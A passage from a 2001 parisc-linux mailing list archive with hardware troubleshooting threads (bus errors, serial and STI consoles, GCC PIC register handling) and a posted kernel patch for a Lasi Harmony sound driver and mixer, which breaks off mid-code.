In-Reply-To: <3A64530D.CD78EFD2@tipas.lt>
Xref: news.gmane.org gmane.linux.ports.parisc:9257


Howdy,

I've got the nfsroot tarball copied onto a hard disk now and I'm beginning
to play around some more.  Unfortunately, some of the first programs I
tried (make and tar) died with a simple 'Bus error' message.  What does a
bus error really mean?  Is it a problem with the kernel support for my
hardware?

Regards,

- Greg


From - Thu Nov 08 21:15:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C100 Bus Errors
Date: Wed, 17 Jan 2001 11:25:17 -0800
Lines: 12
Approved: news@gmane.org
Message-ID: <200101171925.LAA13069@milano.cup.hp.com>
References: <Pine.LNX.4.21.0101171314300.3619-100000@maestro.symsys.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619551 10571 80.91.229.3 (22 Nov 2014 01:25:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:51 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Greg Ingram <ingram@symsys.com>
Original-X-From: grundler@cup.hp.com  Wed Jan 17 12:19:46 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA27083
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Jan 2001 12:19:45 -0700
Original-Received: (qmail 28887 invoked by uid 15267); 17 Jan 2001 19:23:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28842 invoked from network); 17 Jan 2001 19:23:27 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 17 Jan 2001 19:23:27 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 6E50D24C; Wed, 17 Jan 2001 11:23:26 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id LAA13069;
	Wed, 17 Jan 2001 11:25:18 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 17 Jan 2001 13:18:44 PST."
             <Pine.LNX.4.21.0101171314300.3619-100000@maestro.symsys.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9258

Greg Ingram wrote:
> What does a bus error really mean?

I've seen it mean an unaligned data reference trap (in user space).
But I'm not sure that's the case here.

> Is it a problem with the kernel support for my hardware?

very unlikely.

grant


From - Thu Nov 08 21:15:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Ingram <ingram@symsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C100 Bus Errors
Date: Wed, 17 Jan 2001 13:33:04 -0600 (CST)
Lines: 13
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101171328590.3619-100000@maestro.symsys.com>
References: <200101171925.LAA13069@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619551 10573 80.91.229.3 (22 Nov 2014 01:25:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:51 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: ingram@symsys.com  Wed Jan 17 12:31:46 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA27335
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Jan 2001 12:31:45 -0700
Original-Received: (qmail 19397 invoked by uid 15267); 17 Jan 2001 19:35:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19147 invoked from network); 17 Jan 2001 19:35:21 -0000
Original-Received: from maestro.symsys.com (root@208.223.9.37)
  by mailserv2.iuinc.com with SMTP; 17 Jan 2001 19:35:21 -0000
Original-Received: from localhost (ingram@localhost)
	by maestro.symsys.com (8.9.3/8.9.3) with ESMTP id NAA03709;
	Wed, 17 Jan 2001 13:33:04 -0600
In-Reply-To: <200101171925.LAA13069@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9259

On Wed, 17 Jan 2001, Grant Grundler wrote:

> Greg Ingram wrote:
> > What does a bus error really mean?
> 
> I've seen it mean an unaligned data reference trap (in user space).
> But I'm not sure that's the case here.

That what it is, alright.  It generates a register dump.  Anything I can
do about it?

- Greg


From - Thu Nov 08 21:15:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting 742
Date: Wed, 17 Jan 2001 19:27:48 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <20010117192748.D10580@parcelfarce.linux.theplanet.co.uk>
References: <026e01c08080$91102ee0$0a14d793@esiee.fr> <200101171709.JAA12768@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619551 10574 80.91.229.3 (22 Nov 2014 01:25:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:51 +0000 (UTC)
Cc: Thierry SIMONNET <t.simonnet@esiee.fr>, parisc-linux@thepuffingroup.com,
        frowand@montevista.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: willy@www.linux.org.uk  Wed Jan 17 12:50:34 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA27956
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Jan 2001 12:50:34 -0700
Original-Received: (qmail 22170 invoked by uid 15267); 17 Jan 2001 19:54:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22103 invoked from network); 17 Jan 2001 19:54:16 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 17 Jan 2001 19:54:16 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14IyFI-0002oz-00; Wed, 17 Jan 2001 19:27:48 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <200101171709.JAA12768@milano.cup.hp.com>; from grundler@cup.hp.com on Wed, Jan 17, 2001 at 09:09:24AM -0800
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9260

On Wed, Jan 17, 2001 at 09:09:24AM -0800, Grant Grundler wrote:
> Only vaguely - A seperate group in HP supports/developes the "industrial"
> workstations since they run RTE (not HPUX) on them. AFAIK, many of those
> boxes are similar to B-class workstations w/PXC-L or -L2. I have no clue
> how the VME bus is supported - ie bus interface chip or such.

http://www.parisc-linux.org/hp9000_models.html

the 742 is PCXT-based; ie it's basically a 715/scorpio on a different
board.

Richard is the expert on VME stuff :-)

how to get a consle on those things... no idea.  there's no PDC on them?

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:15:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Phillip D. Beal" <pdbeal@louisville.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting C100
Date: Wed, 17 Jan 2001 15:55:47 -0500
Lines: 25
Approved: news@gmane.org
Message-ID: <20010117155547.B145024@athena.louisville.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619551 10577 80.91.229.3 (22 Nov 2014 01:25:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:51 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: pdbeal@louisville.edu  Wed Jan 17 13:52:38 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA28809
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Jan 2001 13:52:38 -0700
Original-Received: (qmail 4676 invoked by uid 15267); 17 Jan 2001 20:56:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4664 invoked from network); 17 Jan 2001 20:56:21 -0000
Original-Received: from erouter1.it-datacntr.louisville.edu (136.165.1.15)
  by mailserv2.iuinc.com with SMTP; 17 Jan 2001 20:56:21 -0000
Original-Received: from athena.louisville.edu (athena.louisville.edu [136.165.1.37])
	by erouter1.it-datacntr.louisville.edu (Postfix) with ESMTP id 8A9DA22E6B
	for <parisc-linux@thepuffingroup.com>; Wed, 17 Jan 2001 15:56:20 -0500 (EST)
Original-Received: by athena.louisville.edu (Postfix, from userid 43478)
	id E78F5C4C; Wed, 17 Jan 2001 15:55:47 -0500 (EST)
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Xref: news.gmane.org gmane.linux.ports.parisc:9261

On Wed, Jan 17, 2001 at 05:40:57AM +0100, Aleksandr Konstantinov wrote:
> > > Do You mean CONFIG_STI_CONSOLE ? I have it, and CONFIG_SERIAL_CONSOLE
> > > too.
> > > Palo also sets console=tty0 .  Booting goes till "Switching from PDC
> > > console"
> > > and then welcome message from palinux cdrom appears on serial link.
> >
> > Try to enable just one of both: CONFIG_STI_CONSOLE _or_ CONFIG_SERIAL_CONSOLE
> 
>  I tried it and got following behavior:
> 
>   While kernel starts/initializes screen stays black. When it suddenly fills with
> scattered characters (I could
> read few words on screen: TCP, UDP RARP, Init and even something, that looks like
> Welcome).
On the 735 and 755 that I've been wrking with, it appears to be all the
Capitol letters come through and the numbers, but the lower case letters
either don't show up or show up as weird ascii charcters...

-- 
Phillip Beal                           ___           _               _   
Electrical and Computer Engineering   | _ ) ___ __ _| |___  _ _  ___| |_ 
pdbeal@louisville.edu                 | _ \/ -_) _` | |_ /_| ' \/ -_)  _|
http://www.bealz.net/                 |___/\___\__,_|_/__(_)_||_\___|\__|


From - Thu Nov 08 21:15:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Oust HPPA PIC_OFFSET_TABLE_REGNUM_SAVED
Date: Wed, 17 Jan 2001 14:42:12 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <25409.979767732@upchuck.cygnus.com>
References: <200101171622.LAA13215@hiauly1.hia.nrc.ca>
Reply-To: law@redhat.com
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619552 10579 80.91.229.3 (22 Nov 2014 01:25:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:52 +0000 (UTC)
Cc: alan@linuxcare.com.au, rth@redhat.com, gcc-patches@gcc.gnu.org,
        parisc-linux@puffin.external.hp.com
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: law@upchuck.cygnus.com  Wed Jan 17 15:02:29 2001
Original-Received: from cygnus.com (runyon.cygnus.com [205.180.230.5])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id PAA29514
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Jan 2001 15:02:28 -0700
Original-Received: from upchuck.cygnus.com (taarna.cygnus.com [205.180.230.102])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id OAA20971
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Jan 2001 14:06:02 -0800 (PST)
Original-Received: from upchuck.cygnus.com (law@localhost)
	by upchuck.cygnus.com (8.11.0/8.8.7) with ESMTP id f0HLgCC25410;
	Wed, 17 Jan 2001 14:42:12 -0700
In-reply-to: Your message of Wed, 17 Jan 2001 11:22:36 EST.
             <200101171622.LAA13215@hiauly1.hia.nrc.ca> 
Original-Sender: law@cygnus.com
Xref: news.gmane.org gmane.linux.ports.parisc:9262


  In message <200101171622.LAA13215@hiauly1.hia.nrc.ca>you write:
  > I think all these problems can be resolved by emitting the insn at the
  > first call.  We just have to keep track of whether it has been emitted
  > or not.
I'm not entirely sure what you mean by this.

We must emit the code to restore the PIC register after each call when
generating PIC code.  There are no known exceptions to this rule.

You might be talking about saving the PIC register into the stack or
pseudo during the prologue.  Yes, we could arrange to do that if and
only if we had a call in PIC mode.  That's fairly easy to do.


jeff


From - Thu Nov 08 21:15:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthieu Delahaye <delahaym@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Lasi harmony driver with mixer
Date: Wed, 17 Jan 2001 23:18:48 +0100
Lines: 1389
Approved: news@gmane.org
Message-ID: <3A661A48.D866979E@esiee.fr>
References: <3A64D26B.B99BAE70@esiee.fr> <20010116231823.K20275@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------72A8A284674098C68F7C5063"
X-Trace: ger.gmane.org 1416619552 10582 80.91.229.3 (22 Nov 2014 01:25:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:52 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: delahaym@esiee.fr  Wed Jan 17 15:15:09 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA29894
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Jan 2001 15:15:08 -0700
Original-Received: (qmail 21118 invoked by uid 15267); 17 Jan 2001 22:18:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21086 invoked from network); 17 Jan 2001 22:18:50 -0000
Original-Received: from mail.esiee.fr (147.215.1.3)
  by mailserv2.iuinc.com with SMTP; 17 Jan 2001 22:18:50 -0000
Original-Received: from pc5158a.esiee.fr (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with ESMTP
	id 4FE11D1585; Wed, 17 Jan 2001 23:18:49 +0100 (CET)
Original-Received: from localhost
	([127.0.0.1] helo=esiee.fr ident=delahaym)
	by pc5158a.esiee.fr with esmtp (Exim 3.12 #1 (Debian))
	id 14J0un-000884-00; Wed, 17 Jan 2001 23:18:49 +0100
Original-Sender: delahaym@esiee.fr
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9263

This is a multi-part message in MIME format.
--------------72A8A284674098C68F7C5063
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Matthew Wilcox wrote:

> > +int harmony_mixer_ioctl(struct inode * inode, struct file * file, unsigned int cmd, unsigned long arg)
> > +{
> > +  int val;
> > +  int ret;
> [...]
>
> it'd be nice if you could rformat this to follow CodingStyle.
>

[...]
here it is the corrected patch according to your remarks

Matthieu Delahaye
ESIEE Team
http://www.esiee.fr/puffin


--------------72A8A284674098C68F7C5063
Content-Type: text/plain; charset=us-ascii;
 name="harmony.diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="harmony.diff"

diff -Nru linux.original/drivers/sound/Makefile linux/drivers/sound/Makefile
--- linux.original/drivers/sound/Makefile	Tue Jan 16 21:31:10 2001
+++ linux/drivers/sound/Makefile	Wed Jan 17 22:25:49 2001
@@ -108,7 +108,7 @@
 # Declare multi-part drivers.
 
 list-multi	:= sound.o gus.o pas2.o sb.o sb_lib.o vidc_mod.o \
-    soundcore.o wavefront.o
+    soundcore.o wavefront.o harmony.o
 
 sound-objs	:= 							\
     dev_table.o soundcard.o sound_syms.o		\
@@ -124,6 +124,7 @@
 sb_lib-objs	:= sb_common.o sb_audio.o sb_midi.o sb_mixer.o sb_ess.o
 vidc_mod-objs	:= vidc.o vidc_fill.o
 wavefront-objs  := wavfront.o wf_midi.o yss225.o
+harmony-objs    := harmony_driver.o harmony_sound.o harmony_mixer.o
 
 
 # Extract lists of the multi-part drivers.
@@ -189,6 +190,9 @@
 wavefront.o: $(wavefront-objs)
 	$(LD) -r -o $@ $(wavefront-objs)
 
+harmony.o: $(harmony-objs)
+	$(LD) -r -o $@ $(harmony-objs.o)
+
 # Firmware files that need translation
 #
 # The translated files are protected by a file that keeps track
@@ -332,3 +336,8 @@
 ifneq ($(FILES_BOOT_CHANGED),)
 $(FILES_BOOT_CHANGED): dummy
 endif
+
+
+
+
+
diff -Nru linux.original/drivers/sound/harmony.h linux/drivers/sound/harmony.h
--- linux.original/drivers/sound/harmony.h	Thu Jan  1 01:00:00 1970
+++ linux/drivers/sound/harmony.h	Wed Jan 17 22:25:34 2001
@@ -0,0 +1,135 @@
+#ifndef _HARMONY_H
+#define _HARMONY_H
+#include <linux/config.h>
+#include <linux/delay.h>
+#include <linux/kernel.h>
+#include <linux/errno.h>
+#include <linux/init.h>
+#include <linux/ioport.h>
+#include <linux/malloc.h>
+#include <linux/types.h>
+#include <linux/mm.h>
+#include <asm/gsc.h>
+
+#include <asm/pgalloc.h>
+#include <asm/pdc.h>
+#include <asm/page.h>
+#include <asm/segment.h>
+#include <asm/system.h>
+#include <asm/io.h>
+#include <asm/hardware.h>
+
+#include <asm/irq.h>            /* for "gsc" irq functions */
+#include <asm/gsc.h>
+
+#include "sound_config.h"
+#define MAX_BUFS 3
+
+#define CNTL_C		0x80000000
+#define	CNTL_ST		0x00000020
+#define CNTL_44100	0x00000015
+#define CNTL_8000	0x00000008
+
+#define GAINCTL_HE	0x08000000
+#define GAINCTL_LE	0x04000000
+#define GAINCTL_SE	0x02000000
+
+#define DSTATUS_PN	0x00000200
+#define DSTATUS_RN	0x00000002
+
+#define DSTATUS_IE	0x80000000
+
+#define HARMONY_DF_16BIT_LINEAR	0
+#define HARMONY_DF_8BIT_ULAW	1
+#define HARMONY_DF_8BIT_ALAW	2
+
+#define HARMONY_SS_MONO 1
+#define HARMONY_SS_STEREO 0
+
+#define HARMONY_SR_8KHZ 0x08
+#define HARMONY_SR_16KHZ 0x09
+#define HARMONY_SR_27KHZ 0x0A
+#define HARMONY_SR_32KHZ 0x0B
+#define HARMONY_SR_48KHZ 0x0E
+#define HARMONY_SR_9KHZ 0x0F
+#define HARMONY_SR_5KHZ 0x10
+#define HARMONY_SR_11KHZ 0x11
+#define HARMONY_SR_18KHZ 0x12
+#define HARMONY_SR_22KHZ 0x13
+#define HARMONY_SR_37KHZ 0x14
+#define HARMONY_SR_44KHZ 0x15
+#define HARMONY_SR_33KHZ 0x16
+#define HARMONY_SR_6KHZ 0x17
+
+#define HARMONY_BUF_NONE	-1
+#define HARMONY_BUF_EMPTY	0
+#define HARMONY_BUF_FILLED	1
+#define HARMONY_BUF_READY_TO_PLAY	2
+#define HARMONY_BUF_PLAYING	3
+
+struct harmony_hpa {
+	u8	unused000;
+	u8	id;
+	u8	teleshare_id;
+	u8	unused003;
+	u32	reset;
+	u32	cntl;
+	u32	gainctl;
+	u32	pnxtadd;
+	u32	pcuradd;
+	u32	rnxtadd;
+	u32	rcuradd;
+	u32	dstatus;
+	u32	ov;
+	u32	pio;
+	u32	unused02c;
+	u32	unused030[3];
+	u32	diag;
+};
+
+#define dma_consistent 0
+
+#define  CHECK_WBACK(addr,len) \
+        do { if (!dma_consistent) dma_cache_wback((unsigned long)addr,len); } while (0) 
+#define  CHECK_INV(addr,len) \
+        do { if (!dma_consistent) dma_cache_inv((unsigned long)addr,len); } while(0)
+
+#define  CHECK_WBACK_INV(addr,len) \
+        do { if (!dma_consistent) dma_cache_wback_inv((unsigned long)addr,len); } while (0) 
+
+struct harmony_dev {
+	int irq;
+	int frames_so_far;
+	struct harmony_hpa  *hpa;
+	int done;
+	int buf_state[MAX_BUFS+1];
+	u32 current_gain;
+	u8 data_format;
+	u8 sample_rate;
+	u8 stereo_select;  /* 1 = stereo, 0 = mono */
+	/* outstanding_buffers is a count that ensures that the number
+	   of recorded frames is the same as the number of played frames. 
+	   In the stable situation, this number is zero.  You should never
+	   disable interrupts until this is zero. */
+	int outstanding_buffers; 
+};
+
+int harmony_mixer_init(struct harmony_dev *);
+int harmony_audio_init(struct harmony_dev *);
+
+
+
+
+#endif _HARMONY_H
+
+
+
+
+
+
+
+
+
+
+
+
diff -Nru linux.original/drivers/sound/harmony_driver.c linux/drivers/sound/harmony_driver.c
--- linux.original/drivers/sound/harmony_driver.c	Thu Jan  1 01:00:00 1970
+++ linux/drivers/sound/harmony_driver.c	Wed Jan 17 22:24:59 2001
@@ -0,0 +1,183 @@
+/* 
+
+ 	drivers/sound/harmony.c 
+
+	This is a sound driver for Lasi's Harmony sound chip.  This is
+	unlikely to be used for anything other than a PA-RISC.
+
+	Harmony is found in HP 712s, 715/new, and many other GSC based machines. 
+Copyright 2000 (c) Linuxcare Canada, Alex deVries <alex@linuxcare.com>
+
+Bugs:
+
+1. Doesn't work on 715/old
+
+This driver doesn't work on 715/old machines, which include the 715/75.  The
+chip used for this is technically called 'Vivace', which is identical to 
+Harmony.  Should be easy to fix.  It has something to do with the way it is
+reported by the inventory code.  The HPA is not that of Lasi or ASP so the
+interrupts aren't registered properly.
+
+3. gain control ioctls are missing
+4. recording is missing
+
+5. Buffer handling code
+
+The three buffer system should probably be changed to use N buffers, so we 
+can load the buffers into memory and then exit.  Shouldn't be too hard, and 
+the performance will be a lot nicer.
+
+6. Clicks at start and finish
+
+I'm not sure why, but somehow I've introduced two clicks at the start and
+two clicks at the finish of each playing.  Shouldn't be too hard to track down.
+
+
+About the rotating buffer
+-------------------------
+
+I'm going to explain how the rotating buffer thing works because I had a hard
+time figuring it out for myself.
+
+At any given time, harmony uses two different buffers.  One is the frame
+that is currently playing, another is the frame that is ready to be played.
+
+Obviously you can't be writing into either of these frames while the chip
+is playing, or you'll hear clicks, pops and out of order frames.  One weekend
+of listening to RMS sing The Free Software Song out of order is a good way to 
+drive this point home.
+
+So, we use a total of three frames.  One is in PLAYING mode, one is is 
+READY_TO_PLAY mode, and the third is either LOADED or EMPTY.  All buffers
+start up by being EMTPY.  When harmony_audio_write loads up two frames,
+interrupts are started and the loop starts.  The ISR pops in the first frame,
+marking it as PLAYING.  The ISR will get called again, and the second 
+frame will be loaded and marked as READY_TO_PLAY.  When the first frame is
+done, the ISR will be called again; frame one is marked as EMPTY to reload,
+frame two is marked PLAYING, frame three is marked READY_TO_PLAY.
+
+All the while, harmony_audio_write is looking for frames marked EMPTY, and
+filling them and marking them LOADED.
+
+Yes, this does actually work.
+
+Let me save you an entire Thursday of listening to "orvalds Linus Linux, I 
+prounouce as Linus This is" by giving you this rotating buffer code.
+
+*/
+
+
+
+/* 
+   The source code is splitted into two new files:
+   harmony_driver.c about hardware detectetion and
+   harmony_sound.c which manage /dev/dsp
+   
+   A new file, harmony_mixer.c, manage /dev/mixer.
+
+                                 Matthieu Delahaye
+*/
+
+
+
+
+#include "harmony.h"
+
+
+
+
+static struct harmony_dev harmony;
+static int harmony_driver_callback(struct hp_device *d, struct pa_iodc_driver *dri);
+
+
+/* This is the PDC signature to load up the driver. */
+
+static struct pa_iodc_driver harmony_drivers_for[] = {
+
+	{HPHW_FIO, 0x01B, 0, 0x0007B, 0x0, 0x0, 
+		DRIVER_CHECK_HWTYPE + DRIVER_CHECK_SVERSION,
+		"Lasi Harmony", "Harmony", (void *) harmony_driver_callback},
+	{0,0,0,0,0,0,0,
+	(char *) NULL,(char *) NULL,(void *) NULL}
+};
+
+
+void __init 
+register_harmony_drivers(void)
+{
+        register_driver(harmony_drivers_for);
+}
+
+/* This is the callback that's called by the inventory hardware code if
+it finds a match to the registered driver. */
+
+
+static int 
+harmony_driver_callback(struct hp_device *d, struct pa_iodc_driver *dri)
+{
+	
+	u8	id;
+	u8	rev;
+	u32	cntl;
+	int ret;
+
+	/* Set the HPA of harmony */
+
+	harmony.hpa = d->hpa;
+
+	/* Grab an IRQ from Lasi */
+	harmony.irq = busdevice_alloc_irq(d);
+
+	if (!harmony.irq) {
+		printk(KERN_ERR "Harmony: problem getting irq\n");
+		return -1;
+	}
+
+	request_region(&harmony, 13, "harmony");
+
+	/* Grab the ID and revision from the device */
+	id = gsc_readb((void *) &(harmony.hpa->id));
+
+	if((id | 1) != 0x15) {
+		printk(KERN_WARNING "harmony_init: wrong id %02x\n", id);
+		return -EBUSY;
+	}
+	cntl = gsc_readl(&harmony.hpa->cntl);
+	rev = ((cntl>>20)&0xff);
+
+        printk(KERN_INFO "Lasi Harmony Audio rev. %i at 0x%x, using IRQ %i\n",rev,(unsigned int) d->hpa,harmony.irq);
+
+
+
+	
+	
+	
+	/* Make sure the control bit isn't set, although I don't think it 
+	   ever is. */
+
+	if(cntl & CNTL_C) {
+		printk(KERN_WARNING "harmony_init: CNTL busy\n");
+		return -EBUSY;
+	}
+
+	/* Initialize /dev/mixer and /dev/audio  */
+
+
+	if((ret=harmony_mixer_init(&harmony))) return ret;
+	if((ret=harmony_audio_init(&harmony))) return ret;
+
+
+	return 0;
+}
+
+
+
+
+
+
+
+
+
+
+
+
diff -Nru linux.original/drivers/sound/harmony_mixer.c linux/drivers/sound/harmony_mixer.c
--- linux.original/drivers/sound/harmony_mixer.c	Thu Jan  1 01:00:00 1970
+++ linux/drivers/sound/harmony_mixer.c	Wed Jan 17 22:25:09 2001
@@ -0,0 +1,317 @@
+/*
+ * sound/harmony_mixer.c
+ *
+ * The low level mixer driver for the Harmony card.
+ */
+
+/*
+ *  function ioctl inspired from file sb_mixer.c
+ *  Matthieu Delahaye (2001)
+ */
+
+#include "sound_config.h"
+
+#include "harmony.h"
+#include "harmony_mixer.h"
+
+
+struct harmony_dev * harmony_mixer;
+
+
+/*
+ * This is the only place where the gainctl is written
+ */
+
+static void harmony_mixer_set_gain(void)
+{
+	int cntl;
+	while((cntl = gsc_readl(&harmony_mixer->hpa->cntl)) & CNTL_C);
+#if 0
+	printk(KERN_INFO "Harmony gain is now %x\n",harmony_mixer->current_gain);
+#endif
+	gsc_writel(harmony_mixer->current_gain, &harmony_mixer->hpa->gainctl);
+	while((cntl = gsc_readl(&harmony_mixer->hpa->cntl)) & CNTL_C);
+  
+}
+
+
+/* 
+ *  Read gain of selected channel.
+ *  The OSS rate is from 0 (silent) to 100 -> need some conversions
+ *
+ *  The harmony gain are attenuation for output and monitor gain.
+ *                   is amplifaction for input gain
+ */
+#define to_harmony_level(level,max) (level)*max/100 
+#define to_oss_level(level,max) (level)*100/max;
+
+static int harmony_mixer_get_level(int channel)
+{
+	int left_level;
+	int right_level;
+
+	if(channel == SOUND_MIXER_OGAIN) {
+		left_level=(harmony_mixer->current_gain & GAIN_LO_MASK) >> GAIN_LO_SHIFT;
+		right_level=(harmony_mixer->current_gain & GAIN_RO_MASK) >> GAIN_RO_SHIFT;
+		left_level=to_oss_level(MAX_OUTPUT_LEVEL - left_level,MAX_OUTPUT_LEVEL);
+		right_level=to_oss_level(MAX_OUTPUT_LEVEL - right_level,MAX_OUTPUT_LEVEL);
+		return (right_level << 8)+left_level;
+	}
+	if(channel == SOUND_MIXER_IGAIN) {
+		left_level=(harmony_mixer->current_gain & GAIN_LI_MASK) >> GAIN_LI_SHIFT;
+		right_level=(harmony_mixer->current_gain & GAIN_RI_MASK) >> GAIN_RI_SHIFT;
+		left_level=to_oss_level(left_level,MAX_INPUT_LEVEL);
+		right_level=to_oss_level(right_level,MAX_INPUT_LEVEL);
+		return (right_level << 8)+left_level;
+	}
+	if(channel == SOUND_MIXER_VOLUME) {
+		left_level=(harmony_mixer->current_gain & GAIN_MA_MASK) >> GAIN_MA_SHIFT;
+		left_level=to_oss_level(MAX_VOLUME_LEVEL-left_level,MAX_VOLUME_LEVEL);
+		return left_level;
+	}
+	return -EINVAL;
+}
+
+
+/*
+ * Some conversions for the same reasons.
+ * We give back the new real value(s) due to
+ * the rescale.
+ */
+
+static int harmony_mixer_set_level(int channel, int value)
+{
+	int left_level;
+	int right_level;
+	int new_left_level;
+	int new_right_level;
+
+	right_level=(value & 0x0000ff00) >> 8;
+	left_level=value & 0x000000ff;
+  
+	if(channel == SOUND_MIXER_OGAIN) {
+		right_level=to_harmony_level(100-right_level,MAX_OUTPUT_LEVEL);
+		left_level=to_harmony_level(100-left_level,MAX_OUTPUT_LEVEL);
+		new_right_level=to_oss_level(MAX_OUTPUT_LEVEL - right_level,MAX_OUTPUT_LEVEL);
+		new_left_level=to_oss_level(MAX_OUTPUT_LEVEL - left_level,MAX_OUTPUT_LEVEL);
